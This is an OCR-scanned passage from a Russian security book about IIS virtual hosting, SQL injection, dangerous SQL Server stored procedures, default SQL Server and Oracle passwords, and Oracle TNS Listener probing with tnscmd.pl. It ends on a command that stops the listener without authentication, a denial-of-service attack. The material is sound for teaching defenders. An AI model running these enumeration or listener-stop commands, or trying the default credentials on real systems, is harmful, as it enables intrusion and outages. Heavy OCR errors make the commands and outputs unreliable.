При использовании списков ACL значительно снижается уязвимость системы. Даже если хакеру удастся запустить потенциально уязвимый файл, то он не сможет использовать его для того, чтобы записать какой-либо другой файл в данный каталог (что позволит ему расширить свое присутствие в системе).
Виртуальные узлы
Выше уже рассматривались вопросы подцержки виртуальных узлов сервером Apache. Сервер IIS компании Microsoft тоже предоставляет такую возможность. При этом для реализации схемы адресации и подцержки нескольких Web-узлов можно использовать вторичные IP-адреса.
Хотя виртуальный хостинг и не несет существенной угрозы безопасности, он все же представляет большой интерес для взломщика. Если хакеру удастся определить, что на данной системе подцерживаются виртуальные узлы, то вполне возможно, что она окажется наиболее привлекательной целью, ради которой можно отказаться от попыток взлома других узлов. Ниже показано, как в Windows обеспечить подцерзжу виртуальных Web-узлов в рамках одной системы.
Вторичные IP-адреса
Первый шаг заключаете只 в создании вторичных IP-адресов. В системе Windows это сделать несложно, и для большинства системных администраторов задача конфигурирования сетевого интерфейса сводится к выполнению перечисленных ниже действий.
Щелкните на кнопке Start.
Выберите команду Settings.
Выберите команду Network and Dial-Up Connections.
Выберите нужный сетевой интерфейс.
Щелкните на кнопке Properties (рис. 2.5).
Выберите компонент Internet Protocol (TCP/IP) и щелкните на кнопке Properties.
Щелкните на кнопке Advanced... (рис. 2.6).
Во вкладке IP Settings щелкните на кнопке Add (рис. 2.7).
Рис. 2.6. Вкладка основных свойств протокола InternetРис. 2.6. Вкладка основных свойств протокола InternetРис. 2.7. Вкладка дополнительных параметровРис. 2.7. Вкладка дополнительных параметровРис. 28. Окно для добавления IP-адресовРис. 28. Окно для добавления IP-адресовТеперь можно добавить дополнительные IP- адреса, как показано на рис. 2.8.
Рис. 2.6. Вкладка основных свойств протокола Internet
Рис. 2.6. Вкладка основных свойств протокола Internet
Рис. 2.7. Вкладка дополнительных параметров
Рис. 2.7. Вкладка дополнительных параметров
Рис. 28. Окно для добавления IP-адресов
Рис. 28. Окно для добавления IP-адресов
Поддержка нескольких Web-узлов
Следующий этап настройки Web-сервера IIS для подцержки нескольких Web-узлов заключается: в том, чтобы создать серверы и связать их с созданными IP-адресами. Для этого выполните ряд действий.
Откройте окно диспетчера служб Internet, воспользовавшись командой Administrative Tools.
Щелкните правой кнопкой мыши на имени системы.
Выберите команду NewOWeb site.
Следуйте указаниям мастера и выберите новый IP-адрес для созданного Web- сервера.
Выберите путь к отдельным файлам Web-сервера.
Выполните оставшиеся шаги, чтобы задать разрешения на использование созданного Web-сервера, которые будут установлены по умолчанию.
Безусловно, технология подцержки многих Web-узлов важна для тех поставщиков услуг, которые стремятся наиболее эффективно использовать свои ресурсы, и хакерам это хорошо известно. Как следствие, в качестве жертвы взломщики зачастую выбирают провайдера услуг Internet: если получен доступ с правами администратора к одной системе, то потенциальными жертвами становятся дес义тки Web-узлов.
Серверы баз данных
Ключевым элементом любого Web - приложения являются средства управления базой данных, т.е. механизм хранения и извлечения данных, к которым могут обратиться как пользователи, так и хакеры. Сами данные — это хранимая "в недрах** базы данных пользовательская или системная информация. К сожалению, в мире баз данных вопросам обеспечения безопасности не уделяется практически никакого внимания. В результате установленная система управления базами данных с параметрами, заданными по умолчанию, имеет множество уязвимых мест, и в ближайшие годы станет известно о многих других ее изъянах.
Основные базы данных, которые в настоящее время используются в электронной коммерции, — это SQL Server компании Microsoft и Oracle. Microsoft SQL Server является прекрасным примером системы управления базами данных, темпы развития которой в Целом заметно опережали скорость реализации ее подсистемы защиты. Хотя маркетинговая политика компании Oracle по продвижению своего продукта на рынок могла вскружить голову, уязвимые места в системе Oracle также были обнаружены. Данная глава будет посвящена именно этим двум ведущим коммерческим системам управления базами данных. Однако сначала необходимо рассмотреть несколько важных концепций, имеющих отношение к обоим программным продуктам.
Фальсификация SQL
Фальсификация SQL (SQL poisoning) — это технология, которая появилась вследствие простой ошибки и присутствует в любой среде, где используется база данных, подцерживающая язык SQL (Microsoft SQL Server, Oracle, Access и т.д.). Конечно, это получилось случайно, однако кто-то где-то (необязательно хакер) допустил ошибку в адресе URL или случайно вставил в него лишний символ, а в результате интерактивное приложение стало отправлять в базу данных фиБсгивные или, что еще хуже, некорректные данные, порождая ошибку.
Этот метод чрезвычайно опасен и часто встречается, невероятно способствуя осуществлению некоторых наиболее тщательно разработанных операций хакеров в Web. Кроме того, такой подход позволяет злоумышленнику оставаться почти невидимым для систем выявления вторжений.
Необходимо вьщелить два типа SQL-фальсификации: генерация данных и генерация ошибок. Поскольку оба подхода достаточно опасны, им следует уделять серьезное внимание, когда речь идет о проектировании приложений. Здесь мы лишь кратко упомянем о них, а более подробно SQL-фальсификация рассматривается в главе 11.
Генерация данных
При атаках, основанных на генерации данных, хакер пользуется недостатками архитектуры Web - приложения, чтобы передать стандартные SQL-строки в специально разработанный SQL-запрос, обходя при этом предполагаемый вывод данных и порождая дополнительные данные.
Генерация ошибок
При таких атаках цель заключается не обязательно в обходе существующих механизмов контроля и получении неавторизованного доступа к данным (хотя это является одним из побочных эффектов), а скорее в том, чтобы вывести на экран важную информацию о конфигурации системы.
Операторы языка SQL
В табл. 2.2 представлены некоторые важные операторы SQL, позволяющие ощутить реальную угрозу, которой подвержены базы данных.
Более полную информацию об использовании этих операторов можно найти по адресу: http://msdn.bicrosoft.com.
Таблица 2.2, Операторы SQL
Команда
Описание
ALTER DATABASE
Позволяет изменить выбранную базу данных, добавив новые или удалив существующие файлы
ALTER TABLE
Позволяет изменить таблицу базы данных путем изменения, добавления или удаления столбцов
ALTER VIEW
Предназначен для изменения ранее созданного представления
CREATE DATABASE
Создает новую базу данных
CREATE PROCEDURE
Создает хранимую процедуру
CREATE SCHEMA
Создает схему базы данных
CREATE TABLE
Создает таблицу в базе данных
CREATE VIEW
Создает представление для таблицы (таблиц) базы данных
DELETE
Удаляет строки из таблицы
DROP DATABASE
Уничтожает базу данных, удаляя ее файлы
DROP PROCEDURE
Удаляет хранимую процедуру
DROP TABLE
Удаляет таблицу из базы данных
DROP VIEW
Удаляет представление из базы данных
INSERT
SELECT
USE
Добавляет новую строку в таблице или представление Выбирает поля из указанной таблицы (таблиц) для просмотра Изменяет контекст активной базы данных
Команда
Описание
Microsoft SQL Server
Среди современных Web-серверов Microsoft SQL Server занимает лидирующее положение. Во многом это объясняется его низкой стоимостью. За несколько последних лет тысячи компаний и отдельных пользователей стали в той или иной форме использовать SQL Server и образовали целое сообщество пользователей интерактивных баз данных. С учетом такой популярности вполне закономерным выглядит повышенный интерес, который проявляется к SQL Server враждебно настроенными пользователями. Вопросам обеспечения безопасности SQL Server можно посвятить целую книгу. (Для получения более подробной информации следует обратиться именно к такому источнику.) В данной же главе рассматриваются основные недостатки этого программного продукта.
Стандартныехранимыепроцедуры
В комплект поставки SQL Server входит набор стандартных хранимых процедур, благодаря использованию которых операторы SQL могут храниться и выполняться на Web-сервере, что позволяет существенно повысить произв одительность. Как и при использовании любого другого программного обеспечения, установленного с параметрами, заданными по умолчанию, серверы баз данных также обладают потенциальными изъянами, которыми взломщик может воспользоваться для выполнения несанкционированных действий в системе.
Краткий перечень хранимых процедур, устанавливаемых по умолчанию вместе с SQL Server 2000, приведен в табл. 2.3. Кроме того, в состав Microsoft SQL Server 2000 входят и дополнительные хранимые процедуры.
Однако процедуры, перечисленные в табл. 2.3, наиболее опасны в аспекте обеспечения безопасности.
Таблица 2.3. Стандартные и дополнительные хранимые процедуры базы данных Master ・ dbo
Процедура
Описание
sp^addmessage
Добавляет новое сообщение об ошибке в таблицу sysinessages
sp_configure
Отображает или изменяет такие глобальные параметры конфигурации, как режим аудита с2, допустимость обновлений, поддержка удаленного доступа, интервал ожидания при удаленной регистрации, параметры пользовательских соединений и т.д.
sp_help
Позволяет получить практически любую информацию о самом SQL-сервере и всех его объектах
sp_helpdb
Предоставляет список доступных баз данных. Если в качестве параметра указано имя базы данных, то отображается информация о ней
sp^helpprotect
Отображает информацию о разрешениях, связанных с объектами
sp_OACreate
Создает экземпляр О1Е-объекта
Процедура
Описание
sp_OADestroy
sp_OAGetErrorInfo
sp OAGetProperty sp^OAMethod sp—OASetProperty sp_0AStop spj)as sword
Уничтожает OLE-объект
Отображает информацию об ошибках OLE Automation
Отображает значение свойства OLE-объекта
Вызывает метод OLE-объекга
Задает свойство OLE-объекта
Прекращает выполнение хранимой процедуры OLE Automation
Добавляет или изменяет пароль для регистрации в системе SQL Seiver. Пример: EXEC sp_password 'oldpass: /newpass\ 'sa'
sp_tables
Отображает таблицы текущей базы данных. Эту процедуру полезно использовать, если нужно получить перечень всех таблиц базы данных. Примеры: ЕХЕС sp_tables или use mydb; EXEC sp_tables;
sp_who
Отображает информацию о соединениях с сервером SQL, например их статус; регистрационное имя; имя узла, который инициировал установку соединения; имя базы данных и команды, например SELECT
xp^avai 1 ablemedia xp_c®dshell xp_deletemail xp_dirtree xp_dsninfo xp_enumdsn
Выдает информацию о доступных драйверах
Выполняет произвольные команды с привилегиями администратора
Удаляет сообщение из почтового ящика Microsoft SQL Server
Позволяет получить данные о дереве каталога
Отображает информацию об источнике данных ODBC
Предоставляет информацию об источниках данных ODBC, имеющихся на сервере
xp_enu»groups
Отображает список групп Windows в данной системе. Пример: ЕХЕС master..xp^enumgroups
xp.eventlog
xp_fixeddrives
Отображает журналы регистрации событий системы Windows
Предоставляет информацию о жестких дисках системы и объеме их свободного пространства в мегабайтах
xp_getfiledetai1s
Отображает свойства заданного файла. Пример: ЕХЕС
Raster..xp_getfiledetails *c:\winnt,ini*
xp_getnetname xp_grantlogin
Сообщает NetBIOS-имя системы
Предоставляет права на регистрацию в системе заданному пользователю. Пример: ЕХЕС master, .хр grantlogin administrator
xp^logevent xp_loginconfig xp_logininfo xp_makecab
Регистрирует пользовательское сообщение в журнале SQL Server Предоставляет информацию о режиме безопасности, используемом на сервере Отображает регистрационные данные различных пользователей
Позволяет пользователю создать сжатый архив файлов, хранимых на сервере (или любых файлов, к которым сервер может получить доступ)
xpjnsver
Показывает версию Microsoft SQL Server, включая всю информацию об операционной системе. Пример: ЕХЕС master, .х^ msver
xp_nt s ec_enumdoma ins
Предоставляет перечень доменов, к которым сервер может получить доступ
Процедура
Описание
хр_ readerrorlog
Выводит на экран журнал регистрации ошибок SQL Server
xp^readinail
Читает сообщение из входного почтового ящика SQL Server
xp_regaddmultistring
Позволяет добавить в системный реестр ключ с типом REG_MULTI_SZ
xp_regdeletekey
Удаляет параметр системного реестра
xp_regdeletevalue
Удаляет значение параметра системного реестра
xp^regenumkeys
Перечисляет ключи системного реестра
xp_regenuMvalues
Выполняет инвентаризацию значений параметров системного реестра
xp_regread
Считывает значение ключа реестра
xp_regremovemultistring
Удаляет многострочный ключ системного реестра
xp_regwrite
Позволяет присвоить значение параметру системного реестра
xp_revokelogin
Отменяет права доступа для группы или отдельного пользователя Windows
xp^sendmail
Отправляет сообщение
xp_servicecontrol
Обеспечивает возможность запуска или останова службы Windows. Прн- мер: EXEC master, .xp^servicecontrol * start* r Schedule*
xp^startmail
Инициирует сеанс почтового клиента SQL Server
xp_stopmail
Завершает сеанс почтового клиента SQL Server
xp_subdirs
Предоставляет список подкаталогов
xp_t erminate^process
Прекращает процесс с заданным идентификатором (PID)
xp_unc_to_drive
Не определена
Лучший способ управления хранимыми процедурами — их удаление. Для этого выполните следующее.
Воспользуйтесь утилитой Enterprise Manager, входящей в состав Microsoft SQL Server, и откройте необходимую базу данных. Обычно такой базой данных является Master.
Откройте папку Extended Stored Procedures этой базы данных.
Щелкните правой кнопкой мыши на нужной хранимой процедуре.
Для SQL-сервера версий 7.x, 8.x, и 2000 для удаления хранимой процедуры воспользуйтесь элементом Delete.
Если без комплексного анализа полностью удалить хранимые процедуры нельзя, то можно просто ограничить права доступа к ним. Для того чтобы определить соответствующие списки доступа (ACL), выполните ряд действий.
Воспользуйтесь утилитой Enterprise Manager и откройте необходимую базу данных. Как правило, такой базой данных является Master.
Раскройте папку Extended Stored Procedures этой базы данных.
Щелкните правой кнопкой мыши на нужной хранимой процедуре.
В контекстном меню выберите команду Properties.
Перейдите во вкладку Permissions.
Внесите необходимые изменения в заданные разрешения.
В целом можно обеспечить достаточно высокий уровень защищенности баз данных Microsoft SQL Server, однако в любом случае приведенные выше шаги позволят максимально приблизиться к этой цели.
Базы данных, устанавливаемые по умолчанию
Знакомство с теми базами данных, которые можно найти в любой системе с установленным SQL Server, позволит более полно представить то поле деятельности, на котором хакеры активно занимаются своими "опытами**. При установке сервера обязательно создается ряд баз данных, предназначенных для подцержки фунвдиональных возможностей SQL Server.
master База данных master предназначена для хранения системной информации общего характера, такой, как учетные регистрационные записи, конфигурационные параметры, а также системные хранимые процедуры. Без корректной копии этой базы данных запуск SQL Server окажется невозможным.
msdb В базе данных msdb хранится информация службы SQL Server Agent, в частности описание заданий, операторов и предупреждений.
model База данных model используется в качестве шаблона для всех создаваемых пользовательсБсих баз данных.
tecpdb В базе данных tempdb хранятся такие временные объекты SQL Server, как временные таблицы и хранимые процедуры.
Каждая из этих баз данных устанавливается по умолчанию и содержит таблицы, которые будут интересовать взломщика в первую очередь.
Системные таблицы, создаваемые по умолчанию
Отдельного упоминания заслуживают следующие таблицы базы данных master.
Sysobjects Содержит все объекты указанной базы данных.
Sysdatabases Содержит перечень всех доступных баз данных, дату их создания, а также соответствующее имя файла и полный путь.
Syslogins Содержит пароли и идентификаторы всех зарегистрированных пользователей.
Sysprocesses Содержит всю информацию о системных и клиентских процессах. Эти данные могут оказаться полезными для определения того, что и кем выполняется в конкретный момент.
А вот список стандартных таблиц, создаваемых в каждой пользовательской базе данных.
Syecolumns Содержит информацию о каждом столбце всех таблиц и представлений. Кроме того, для каждого параметра хранимой процедуры содержит строку, use mydb; select * from syscoluBins.
Sysf iles Содержит перечень всех файлов этой базы данных, use my db; select * from sysfiles.
Sysobjects Содержит список всех объектов этой базы данных, use my db; select * from sysobjects.
Syspennissions Содержит информацию о разрешениях, установленных для пользователей, групп и ролей.
Содержит описание разрешений, назначенных учетным записям безопасности с помощью операторов GRANT и DENY,
Systypes Содержит описание всех системных и пользовательских типов данных, используемых в заданной базе данных. Эта информация облегчает анализ внутренней структуры базы данных.
Sysusers Содержит перечень всех пользователей Windows и SQL Server, имеющих доступ к базе данных. Use mydb; select * from sysusers;.
Эти системные и пользовательские таблицы могут оказаться настоящей находкой для злоумышленника, который решил прибегнуть к атаке с применением кода SQL. Более подробно подобные атаки рассматриваются в последующих главах.
Стандартные системные функции и функции
манипулирования метаданными
Поскольку в Microsoft SQL 2000 поддерживается язык Transact-SQL, то им предоставляется огромный набор простых функций, которые можно вызывать непосредственно в строке SQL-запроса и получать нужную информацию. Вот краткий список наиболее полезных функций.
db_id<)db_name()db_id<)db_name()file_name(</D>)Getdate() object^name (<parm>}Setuser <user>currentuserfile_name(</D>)Getdate() object^name (<parm>}Setuser <user>currentuserВозвращает идентификатор (ID) базы данных. Например: select db_ id( I; или use mydb; select db_id().
db_id<)
db_name()
db_id<)
db_name()
file_name(</D>)
Getdate() object^name (<parm>}
Setuser <user>
currentuser
file_name(</D>)
Getdate() object^name (<parm>}
Setuser <user>
currentuser
Возвращает имя используемой в данный момент базы данных. Эта функция позволяет определить, какая база данных используется по умолчанию. Например: select db name ();.
Возвращает имя файла для заданного идентификатора (ID). Эту функцию полезно использовать для получения списка всех файлов одной базы данных. Например: select file_naine(l); или use mydb; select file najne(l);.
Возвращает системную дату и время select getdate ()
Возвращает имя объекта базы данных. Эта функция полезна для получения списка различных объектов базы данных, select object пале(1); или use mydb; select object_naa&e( 1).
Позволяет переключиться в режим другого пользователя. Однако эту функцию можно использовать, если для текущего пользователя определена роль sysaebnin или db owner. setuser 'jane';.
Возвращает имя текущего пользователя. Эту функцию полезно использовать для идентификации пользователя, выполняющего запросы к базе данных, — select current_user;.
Для взломщика приведенные выше функции языка Transact-SQL могут оказаться весьма полезными. Стоит заметить, что это внутренние функции Microsoft SQL Server 2000 и удалить их нельзя. Поэтому при обработке пользовательских запросов нужно должным образом отфильтровывать ненужные данные. Это будет неоднократно повторяться на протяжении всей книги.
Представления информационной схемы
В стандарте ANSI-92 определены представления информационной схемы, обеспечивающие возможность просмотра системных данных. Такие представления играют важную роль, защищая, если это необходимо, базовые таблицы от изменений или повреждений. Однако эти представления могут подвести, когда дело касается схемы самой базы данных. Для создания подобных представлений используется следующий синтаксис: select * fiom nydb.infcmiUuQ—Sch己0 二 1atids
В результате обработки такого запроса будет получен список всех таблиц заданной базы данных. Для взломщика не может быть ничего лучше, чем получить столь ценную информацию. Кроме того, можно воспользоваться и другими ключевыми словами.
CHECK一 CONSTRAINTS
COLUW DOMAIN USAGE
8УЛШ二 PRIVIliGES
COLUMNS
COHSTRAIKT_COLOMN usage
constraint TABLE_USAGE
DOMAIN CONSTRAINTS
DOMAINS
KEYJ:OLUMN_USAGE
PARAMETERS"
REFERENTIAL CONSTRAINTS
ROUTINES
ROUIINE COLUMNS
SCHEMATA
TABLE CONSTRAINTS
TABLEJRIVILBGES
TABLES
VIEW COLUMN USAGE
VIEW 二 TABLJUSAGE
VIEWS
К сожалению, эти функциональные возможности являются неотъемлемой частью Microsoft SQL Server, от использования которой нельзя отказаться.
Пароли
Вне всякого сомнения, наиболее распространенная в мире баз данных комбинация "идентификатор пользователя/пароль** используется в Microsoft SQL Server: имя пользователя sa и пустой пароль. По умолчанию для учетной записи sa SQL-сервера используется пустой пароль. Тем самым база данных подвергается огромному риску.
Microsoft SQL Server: заключительные замечания
После установки в SQL-сервере компании Microsoft присутствует целый ряд изъянов. Начиная с ошибок в синтаксическом анализаторе хранимых процедур и заканчивая возможностью организации атак с использованием кода SQL, в этой системе управления базами данных можно без проблем найти разнообразные уязвимые места, которые могут вызвать повышенный интерес у хакеров. В большинстве случаев риск можно снизить, прибегнув к превентивным мерам, однако некоторые из таких процедур могут негативно повлиять на общую функциональность системы. Прежде чем предпринимать какие-либо кардинальные шаги по повышению уровня защищенности, обязательно согласуйте свои действия с администратор ом базы данных. Для получения более подробной информации по защите SQL-сервера обращайтесь по адресу: http://www.sqlsecurity.coa/checkli8t.38p.
Oracle
Конец 2001 и начало 2002 года ознаменовались смелыми утверждениями компании Oracle о том, что для ее программных продуктов атаки хакеров не страшны. Конечно же, "невзламываемой” системы не существует. Обеспечение безопасности — это процесс, а не цель, и даже если компании пытаются обеспечить безопасность своих программ, сама идея создания "недоступного” для хакеров или ,,невзламываемогоп программного обеспечения является абсурдной.
Как специалистами по обеспечению безопасности, так и элитой хакерского сообщества такое дерзкое и самонадеянное заявление было воспринято как вызов. Многие лучшие специалисты в области защиты направили свою энергию на поиск уязвимых мест в приложениях Oracle. Спустя лишь несколько недель приложения Oracle снова и снова оказывались "поверженными”. Порой для этого не требовалось особых усилий со стороны многочисленных исследователей. Так стоило ли компании рисковать, заявляя о подобной неуязвимости? На этот вопрос может ответить только сама компания Oracle.
В этом разделе рассматриваются основные компоненты, которые подвержены риску нарушения безопасности и поэтому интересуют взломщиков. Кроме того, вы узнаете о средствах защиты, которые помогают противостоять этой опасности.
Системные таблицы
Системные таблицы устанавливаются по умолчанию и обеспечивают хранение основной информации о внутреннем "устройстве” самой базы данных. В них содержатся сведения о пользовательсБеих таблицах (SYS.USER^TABLE), представлениях (SYS.USER_VIEW) и даже всех таблицах (SYS. ALL_TABLES). Ниже представлен полный список используемых по умолчанию таблиц системы Oracle.
SYS.ALL TABLES
SYS.TAB"
SYS.OSER CATALOG
sys・ usnrCONSTRAINTS
sts.usbr"objects
sts.(iser"tab columns
sys.user"tables
sys .user 二 TRIGGERS
STS.USER^VIEWS
Эти таблицы нужно защищать особенно тщательно, посколысу взломщик может воспользоваться ими для исследования базы данных и получения доступа к хранящимся в ней данным. В рамках стратегии обеспечения безопасности компании Oracle используется механизм назначения специальных ролей и привилегий, аудит которых необходимо проводить для сохранения конфиденциальности информации. Заслуживающее внимания средство аудита Oracle для системы Windows можно найти по адресу: http://www.cqure.net/tools07.html. Подробную информацию о назначении привилегий, определении ролей и политики безопасности можно найти по адресу: http: //technet .oracle. co«/docB /products /oracle 8i/doc_ library/817_doc/server. 817/a76965/ c26priv8.htnil2929.
Пароли
Пароли являются важнейшим средством обеспечения безопасности (или "средством” взлома) в любом приложении, и продукты компании Oracle не являются исключением. При установке системы Oracle некоторые пароли задаются по умолчанию, так что при первой возможности их следует сразу же изменить. Например, в системе Oracle 8.1.7 по умолчанию используются следующие пароли (этот список далеко не исчерпывающий).
Имя пользователяПароль
SYSchange on install
SYSTEMmanager
Sysmanoem_te»p
Замена этих используемых по умолчанию паролей и обязательное применение более сложных паролей для пользователей и администраторов играют решающую роль в том, чтобы не допустить хакеров к базе данных. При определении политики назначения паролей рекомендуется руководствоваться рядом правил.
Увеличить минимально допустимую длину паролей.
Выбирать более сложные комбинации символов.
Выбирать более сложные слова.
Обеспечивать блокировку паролей.
Назначать срок действия паролей.
Избегать повторного использования паролей.
Чтобы узнать, как внести необходимые изменения и обеспечить использование более надежных паролей в конкретной версии Oracle, обратитесь к соответствующим разделам документации компании Oracle.
Привилегии
В системе Oracle определено более ста различных системных привилегий. При управлении базой данных могут поддерживаться и контролироваться любые привилегии, начиная с CREATE USER и заканчивая SELECT ANY TABLE.
С использованием привилегий, связанных с доступом к объектам, администратор базы данных может предоставлять определенным пользователям доступ к конкретным объектам, например к таблицам. В целом привилегии на уровне объектов позволяют реализовать более детализированный контроль базы данных и ее таблиц, чем системные привилегии.
При некорректном задании системных привилегий или разрешений на доступ к объектам взломщик получает возможность неавторизованного просмотра данных. Как правило, при этом используются операторы SQL. Более подробно этот вопрос рассматривается в главе 11.
Служба Oracle Listener
Служба Oracle Listener — это традиционная точка входа в базы данных Oracle. Эта служба ожидает поступления запросов от удаленных или локальных источников, а затем передает их соответствующей базе данных. По умолчанию служба Listener прослушивает TCP-порт 1521, однако администраторы могут связать ее и с другим портом (например, 1541), поэтому необходимо уделять внимание использованию альтернативных портов. По большому счету, для хакеров именно эта служба является "входной двервю” в программные средства Oracle.
Запрос о состоянии
Запрос о текущем состоянии, направленный службе Oracle Listener, — это первый шаг, который может быть предпринят при реализации атаки. Сгенерировав подобный запрос, можно рассчитывать на получение следующей информации.
Операционная система узла.
Версия службы Oracle Listener.
Дата запуска и время работы системы.
Регистрационный журнал и файл параметров службы Listener, в том числе значение переменной окружения ORACLE_HOME.
Доступные службы.
Например, ниже приведен листинг, сгенерированный службой Listener при обработке запроса от небольшой программы Windows, написанной одним из авторов книги.
С:\>query_listener 192.168.0.5 -version
Connecting.・・
Returning raw data fran version query
?(DESCRIPTIO№(TM?=HVSNNUM=135294976)(ERK-O)p7
? TNSLSMt for 32-bit Windows: Version 8.】.7.0.0 - Production
TNS for 32-bit Windows: Version 8.1.7.0.0 - Production
Windows NT Named Pipes NT Protocol Adapter for 32-bit Windows: Version 8.1.7.0.0 - Production
Windows NT TCP/IP NT Protocol Adapter for 32-bit Windows: Version 8.1.7.0.0 - Production,, ? i
Служба Oracle Listener сообщает о том, что операционной системой узла является Windows, а используемая версия службы Listener (которая, как правило, синхронизирована с версией базы данных) — Version 8.1.7.0.0 - Production. Кроме того, в строке V6NNUM・135294976 содержится номер версии базы данных: 0x8107000 = 8.1.7.0.0.
Однако более полную информацию можно получить с помощью сценария tnscmd.pl, который можно найти по адресу: https//vww.jarnned.com/"jwa/hacks/ security/tnscind/. Следующий сценарий Perl предназначен для систем Linux и BSD.
I/tap]4 ./tnsod.pl status -p 1521 -h 192.168.0.5 —indent
sending (CONKBCT^DATA-(COMMAND-#tatUB}) to 192.168.0.5:1521
writing 89 bytes reading 6.HR
DESCRIPTION-
TNF-
VSNXUM-B5294976
ERR»O
ALIAS>LISTEXER
SECOTIITT-OFF
VERSIQH=TNSLSNR for 32-bit Windows: Version 8.1.7.0.0 - Production
START DATE-07-APR-2001 22:38:50
SIDNW(«1
LCGnLE"Cs\oracle\oxaBl\netvork\log\listener. log
PRMPILK: \oracle\ora81 \netvork\adnin\llitener. ora
TRACING>off
UPTIME"47629811*
SNMF-OFF
ENOFOINT-
HANDLER-
STA=ready
HANDLER_KAXLOAD-0
HAKDLER~LOAD"0
ESTABLISHED-0
REFUSED-0
HANDLER ID=295B795C659F-4DFA-853D-F6179B02DEA9
PRE寸tc~
SESSION=NS
DESCRIPTIO»-
ADDRESS=
PROTOCOL=ipc
PIPEKAME-\\.\pipa\BXTPROCOipc
EKDPOINT=
HAKDLER»
STA«ready
HAKDLEReKAXLOAD«Q
HAKDLER:LOAD=0
ESTABLISHED=O
REFUSED=0
handler 1О62вС449в6609-4ВЗГ-А£7С-С45СЕЕ7А9А8Е
PRE=ttc-
SESSION=NS
DESCRIPTION=
ADDRESS»
PROTOCOL=tCp
BOST«kraner
PORT=1521
ENDPOIKT»
HANDLER»
STA・ready
HANDLER MAXLOAD»0
HANDLER-LOAD=0
ESTABLISBED-0
REFUSED-0
HANDLER_ID-2184A3688143-47C6-9FFD-2EBE169C3BEB
PRE・giop
SESS工ON二RAW
DESCRIPTION»
ADDRESS*
PROTOCOL-tCp
BOSTakraner
PORT-2481
PROTOCOL STACK-
PMSEXTATIOM-GIOP
SESSION»RAW
SERVICE*
SERVICE NAMI-PLSExtPlOC
msTAjed-
INSTANCE KAKE>PLSExtProc
HUM-1 -
INSTANCE_CIASS-ORACLE
KWESI-
SERVICE
SERVICE NANE*^10b&ldb
INSTANCE
INSTANCE NAME«globaldb
1ГОИ-1 ~
工 NSTANC&CIAS S*ORACLE
NUMREL«「
INSTANCE*
INSTANCE NAMI«globaldb mm・2 -
IKSTAKCE CLASSPRACLE
N0KREL>2*
Из приведенного примера видно, что стала известной и другая информация, в том числе следующая.
Дата последнего запуска базы данных:
START_DATEs07-A₽R-2001 22:38:50
Пути LOGFILE nPRNFILE (что облегчает анализ структуры файловой системы):
ЬОСРП£»С: \or&cle\ora81 \netvork\log\118tener. log
PRMFILEeC:\oiAcle\oraBl\network\adnin\listener.ora
Имя узла данной системы:
HOST・kraio»r
Запушенные службы (включая Global Database):
SERVICE _NAME»PLSExtPlOC
SERVICE二NAKEplobaldb
Дополнительная точка входа, свидетельствующая о существовании еще одной службы прослушивания, которой можно воспользоваться:
PROTOCOL-tcp HOST^kramer PORT=2481
Можко получить также более подробную информацию о конкретных службах с помощью следующей команды:
[/ trap JI ./tnscmd.pl services -р 1521 -h 192.168.0.5 —indent
sending (COKNECT^DATA=(COMMAND»services|) to 192.168.0.5:1521
writing 91 bytes
reading
.工6.?
'descriptior®
TKP«
VSKNUM-135294976
ERR=0
SERVICES EXIST=1
SERVICE® SERVICE NAME-PLSEXtPrOC
INSTANCE»
INSTANCE NAME=PLSExtProc kum-1 -
INSTANCE CIASSQRACLE
HANDLER»"
flAMDLER^DISPLAT^DEDICATED server
STA=ready
HANDLE" INFO-LOCAL SERVER
haxdler'maxload-o
HAKDLER~LOAD-0
BSTABLISHED>0
RBFUSED»0
HANDLER ID=DAOF064463F1-4B7A-B413-B2EAFB29046D
HANDLER-KAME-DEDICATED
ADDRESS-
PROTOO3L=beq
PROGRAM"extproc ENVS«
ARGVO=extprocPLSExtProc ARGS=' LOCAL*KO
.NUMKEL^l
SERVICE:
SERVICE__NAMI>glDbaldb
INSTANCE»
INSTANCE NAME-globdldb
NUM-1 -
INSTANCE CIASS-ORACLE
HKNDLER-"
HANDLER^DISPUY-DDXCATD SERVER STA*ready
HANDLER INFO-LOCAL SERVER
HANDUR~MAXLOAD-0
HANDLER-LOADM
ESTABLISHED-0
REFUSAO
HANDLER ID-542FB7C143A8-4B6C-9B10-5F0BSCC16934 HAKDLER*NANB>D2DXCATD
XDDR2SS-
PROTOCOL-beq PROGRAM«oracle
EKVS=
ARGVO=oracleglobaldb
KRGS=* LOCAI^NO
NUMRELK
IXSTAKCE»
INSTANCE_NAME«globaldb
mm-2 -
IKSTAKCE CLASS-ORACLB
HANDLER-"
HANDLER_DISPIAY-DBDICATBD SERVER
STA二 rea&
HANDLEK^INFOLOCAL SERVER
HAKDLER*KAXLOAD=0 handlki[load=o ESTABLISHED)
REFUSED>0
HANDLER. ID=BE4989721433-49B8-854F-CABOA4E1A42F
HANDLS^NAME-DEDICATED
SESSION-KS
ADDRESS二
PROTOCOL«BEQ PROGRAM^racle ARGVO*oracleglobaldb ARGS」
DESCRIPTION* LOCAL*no ADDRESS»
PROTOCOL二BEQ
HAMDLER-
HAKDLBR_DISPIAY・DISPATCHER
STA 二 re&
HANDLER 工NFO二DOOO <eacbine$ KRAMER, pid: 1320>
HAMDLER~KAILaM>0
handler"load«o
ESTABLISHED»!)
RBFUSEOO
BANDLER_ID*21AE239BlA82-4952-84A0-4C5653697BBF
pRE«oracle.aurora•server・ SGiopServer
HANDLER NAME«D000
SESSION>RAW DESCRIPTION*
ADDRESS二
PROTOCOL二tcp
HOST*kramer
PORT=1036
PRESERTATIOIi*oracle • aurora. server • SGiopServer
SESS工ON二RAW
NUMREL-2
Количество недостатков, имеющихся в службе Oracle Listener, зависит от используемой версии системы Oracle. К ним относится утечка дополнительной информации, возможность записи в файл, переполнения буфера и генерации условия отказа в обслуживании (Denial of Service — DoS). Простейшая возможность генерации условия DoS изначально заложена в версии 8.1.7 (а возможно, она является далеко не единственной). Воспользовавшись этим изъяном, хакер может легко завершить функционирование службы TNS Listener без аутентификации. Для этого прекрасно подойдет программа tnscmd.pl. Чтобы продемонстрировать этот подход, сначала воспользуемся командой ping и убедимся, что TNS Listener в данный момент активна.
(/tmpjt ./tnscnd,pl ping -р 1521 -h 192.168.0.5 —indent
sending (COKNECT_DATA«(COMMAND-pin^)) to 192.168.0.5:1521
writing 87 bytes
reading
DESCRIPTION
IMP-
VSKNUM-135294976
ERR-0
ALIA5«LISTENBR
Затем отправим службе Listener команду stop.
[/tap]I ./tnscnd.pl stop -p 1521 -h 192.168.0.5 —indent
